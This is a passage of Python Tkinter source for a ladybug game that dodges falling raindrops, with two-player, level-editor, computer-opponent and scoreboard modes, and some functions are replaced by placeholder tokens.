data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts1:\n coconut.draw(canvas)\n for coconut in data.coconuts2:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n canvas.create_text(50, 40, text='Player 1', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 2', font='Arial 15 bold', fill\n ='yellow')\n winner(canvas, data)\n drawHome(canvas, data)\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef editorKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef editorMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.yourSpeed = 'slow'\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.yourSpeed = 'medium'\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.yourSpeed = 'fast'\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n checkMiddle(event, data)\n checkLast(event, data)\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\ndef editorTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\ndef levelCreatedKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.levelEditorLives > 0:\n if event.keysym == 'Left' and data.cx >= 317:\n data.cx -= data.lane / 2\n elif event.keysym == 'Right' and data.cx <= 740:\n data.cx += data.lane / 2\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef levelCreatedRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n if data.powerUpsEditor == True:\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 100, text='Total Lives: %d' % data.\n levelEditorLives, font='Arial 20 bold', fill='yellow')\n canvas.create_text(data.width / 2, 660, text=\n \"\"\"You lose a life for hitting a drop\n & don't get eaten!\"\"\",\n font='Arial 15 bold', fill='yellow')\n if data.levelEditorLives <= 0:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n if data.level > 1:\n winEditor(canvas, data)\n drawHome(canvas, data)\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\ndef difficultyKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\ndef difficultyTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef difficultyRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawDifficulties(canvas, data)\n drawHome(canvas, data)\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\ndef addPowerUpsAI(data):\n if data.time % 33 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 66 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(550, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(750, 750))\n\n\ndef AIKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'Left' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player2X = 550\n elif event.keysym == 'Right' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player2X = 750\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\ndef helpKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\ndef run(width=15000, height=25000):\n\n def redrawAllWrapper(canvas, data):\n canvas.delete(ALL)\n redrawAll(canvas, data)\n canvas.update()\n\n def mousePressedWrapper(event, canvas, data):\n mousePressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def keyPressedWrapper(event, canvas, data):\n keyPressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def timerFiredWrapper(canvas, data):\n timerFired(data)\n redrawAllWrapper(canvas, data)\n canvas.after(data.timerDelay, timerFiredWrapper, canvas, data)\n\n\n class Struct(object):\n pass\n data = Struct()\n data.width = width\n data.height = height\n data.timerDelay = 100\n root = Tk()\n init(data)\n canvas = Canvas(root, width=data.width, height=data.height)\n canvas.pack()\n root.bind('<Button-1>', lambda event: mousePressedWrapper(event, canvas,\n data))\n root.bind('<Key>', lambda event: keyPressedWrapper(event, canvas, data))\n timerFiredWrapper(canvas, data)\n root.mainloop()\n print('bye!')\n\n\n<code token>\n", "<import token>\n\n\ndef init(data):\n data.score = 0\n data.mode = 'splashScreen'\n data.timerDelay = 100\n data.height = 800\n data.width = 800\n data.speed = 10\n data.speedAI = 12\n data.speedAI2 = 12\n data.switchOnProgress = False\n data.r = 25\n data.cx = 280\n data.cy = 750\n data.onLeft1, data.onLeft2 = True, True\n data.win = False\n data.coconuts = []\n data.powerUps = []\n data.coconuts1 = []\n data.coconuts2 = []\n data.coconutsAI1 = []\n data.coconutsAI2 = []\n data.invincible = []\n data.pauseDrops = False\n data.pause1Drop = False\n data.pause2Drop = False\n init1(data)\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\ndef init3(data):\n data.yes = data.notClick\n data.no = data.notClick\n data.enter = data.notClick\n data.levelEditorLives = 2\n data.rSpeed = None\n data.start = None\n data.start1 = None\n data.start2 = None\n data.difficulty = None\n data.mode1 = data.notClick\n data.mode2 = data.notClick\n data.mode3 = data.notClick\n data.mode4 = data.notClick\n data.mode5 = data.notClick\n data.mode6 = data.notClick\n data.home = PhotoImage(file='home.gif')\n data.helpScreen = PhotoImage(file='help1.gif')\n data.title = PhotoImage(file='title.gif')\n data.scoreList = []\n data.spotList = [270, 364, 458, 552, 646, 740]\n data.savedScores = readFile('score.txt')\n if data.mode == 'levelCreated':\n setEverything(data)\n initsplashScreenNumbers(data)\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\ndef mousePressed(event, data):\n if data.mode == 'splashScreen':\n splashScreenMousePressed(event, data)\n elif data.mode == '1Player':\n playerMousePressed(event, data)\n elif data.mode == '2Player':\n twoPlayerMousePressed(event, data)\n elif data.mode == 'editor':\n editorMousePressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedMousePressed(event, data)\n elif data.mode == 'AI':\n AIMousePressed(event, data)\n elif data.mode == 'difficulty':\n difficultyMousePressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardMousePressed(event, data)\n elif data.mode == 'help':\n helpMousePressed(event, data)\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\ndef timerFired(data):\n if data.mode == 'splashScreen':\n splashScreenTimerFired(data)\n elif data.mode == '1Player':\n playerTimerFired(data)\n elif data.mode == '2Player':\n twoPlayerTimerFired(data)\n elif data.mode == 'editor':\n editorTimerFired(data)\n elif data.mode == 'levelCreated':\n levelCreatedTimerFired(data)\n elif data.mode == 'AI':\n AITimerFired(data)\n elif data.mode == 'difficulty':\n difficultyTimerFired(data)\n elif data.mode == 'scoreboard':\n scoreboardTimerFired(data)\n elif data.mode == 'help':\n helpTimerFired(data)\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n\n\ndef writeFile(path, contents):\n with open(path, 'wt') as f:\n f.write(contents)\n\n\ndef readFile(path):\n with open(path, 'rt') as f:\n return f.read()\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r 